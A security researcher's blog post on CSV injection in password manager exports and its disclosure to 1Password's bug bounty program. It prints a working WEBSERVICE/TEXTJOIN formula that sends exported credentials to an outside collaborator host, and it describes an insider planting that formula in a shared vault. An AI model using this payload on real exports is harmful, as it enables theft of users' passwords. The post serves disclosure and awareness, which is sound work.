Credit: Thanks to Elysee Franchuk to teaching me what CSV injection is and helping me find this vulnerability.


Summary

CSV Injection occurs when a spreadsheet app such as Excel evaluates static content in CSV files as commands and executes code. An common example is formula elements, the field =15+15 may populate as 30. This is a benign example, but demonstrates the idea. Certain formula elements can cause an alteration of the data, web requests, and sometimes full code execution.

Most spreadsheet applications have been partially hardened against CSV injection. For example, Excel warns users if CSV files contain formulas, and block dangerous functions (such as DDE - Dynamic Data Exchange) by default.

Most password managers have a function to export the credentials in a CSV file. The purpose is to allow users to move credentials from one password manager to another. I tested 1Password, and Bitdefender password managers, as well as the built in password managers in Chrome, Firefox, and Edge. None sanitized against CSV injection. Discussion with 1Password about this determined that they do not sanitize the files because of data integrity issues if credentials are altered.

This means that CSV injection is theoretically possible in password managers. The challenges are:

  • Creating a payload that is useful to the attacker, since getting remote code execution from Excel in modern systems requires gross misconfiguration.
  • Injecting the payload into someone else’s password manager, otherwise this is self-exploitation.


Creating the Payload

The CSV export file creates a table with sites, usernames, passwords, and sometimes additional fields such as notes. An example table with test data taken from our exploit is shown below.

Site Username Password Notes
stomper4 GZMLqPAscAnrMT8DbM
https.//my.1password.com stomper4@wearehackerone.com testtest123
user2 veryuniquecode
PAYLOAD

We were able to exfiltrate the table to a Burpsuite Collaborator server using the Excel TEXTJOIN function to append all of the credentials into a string, and the WEBSERVICE function to make a web request and pass the credentials in the URL We passed it to a Burp Collaborator server, this is a tool that allows us to recieve the requests.

An example of the payload is shown below. The URL is an old BurpSuite collaborator server: =WEBSERVICE("http://co44j8hwdssqvr7oxa973o9bt2zwnmbb.oastify.com?" & TEXTJOIN("&", FALSE, B1:B20))
This payload creates an HTTP GET request with the arguments ?Column&Value1&Value2&Value3 etc.

Images of Burp Collaborator recieving the credentials:




The sites, usernames, and passwords were exfiltrated in 3 different requests which can be recreated to make a table as shown above.


Injecting the Payload

1Password enterprise accounts have secret and shared vaults. The secret vault is unique per user and holds all user credentials. The shared vault is given to multiple users and holds any credentials used by more than one person.

Anyone with write access to a shared vault can inject the malicious CSV payloads into the shared vault. The entire shared vault gets exported along with the private vault every time a user exports their passwords. When the payload is triggered after an export, all the shared and private credentials are sent to the hacker.

The threat profile for this vulnerability is a malicious insider. Someone from HR or IT instructs an employee from finance to perform a test backup of their password manager, and then steals the user's credentials to banks and/or financial services.

The following image shows the payload being added to a shared vault by the malicious insider:


The following image shows the payload recieved in the victims account, along with other shared credentials:


The following images show the process for the victim to export their private vault:




The results of the exfiltration was shown above in the images of Burp Collaborator, it included the private passwords for the user. This was a successful proof of concept for the exploit!


Disclosure

We disclosed this issue to 1Passwords bug bounty program on HackerOne. They recognized the vulnerability as within scope of their program, although closed it as informational since they have no intention of fixing it. They also updated their bug bounty program to mention CSV injection vulnerabilities as out of scope.

1Password was open to a longer discussion about the vulnerability and their reasoning behind not fixing it. They were primarily concerned with data integrity issues regarding modification of credentials before export.

We discussed this vulnerability from 2 perspectives, the first that all output to CSV should be sanitized, the second that some kind of warning or prevention should be in place upon entering payloads into the shared vault.

1Password did not agree to remediate the issue in either one of those ways. To be honest, I understand where they are coming from, this is a low likelihood exploit, that arises when one of their customers takes actions that they really shouldn't take. If the passwords aren't in the vault, is it still the password managers responsibility anymore? That said, a security researcher hopes for more than an update to the scope of the bug bounty program after a vulnerability submission.

Even though I didn't get a bounty this time, I was grateful to 1Password for the engagement and leaving a public review on my HackerOne Profile.


Lesson

The biggest question this experience brought up for me is whether or not it is the security industry's responsibility to tell users not to perform dangerous actions? In this case, CSV injection is deemed not a vulnerability because users should not open the CSV file with a spreadsheet app.

In my opinion, when safe operation depends on the user, we need to let them know. This is my reason for writing this post, as well as some of the inspiration for my personal site.

Stay tuned for more security findings.


Links

Read more about CSV Injection:

1Password's statement about the vulnerability: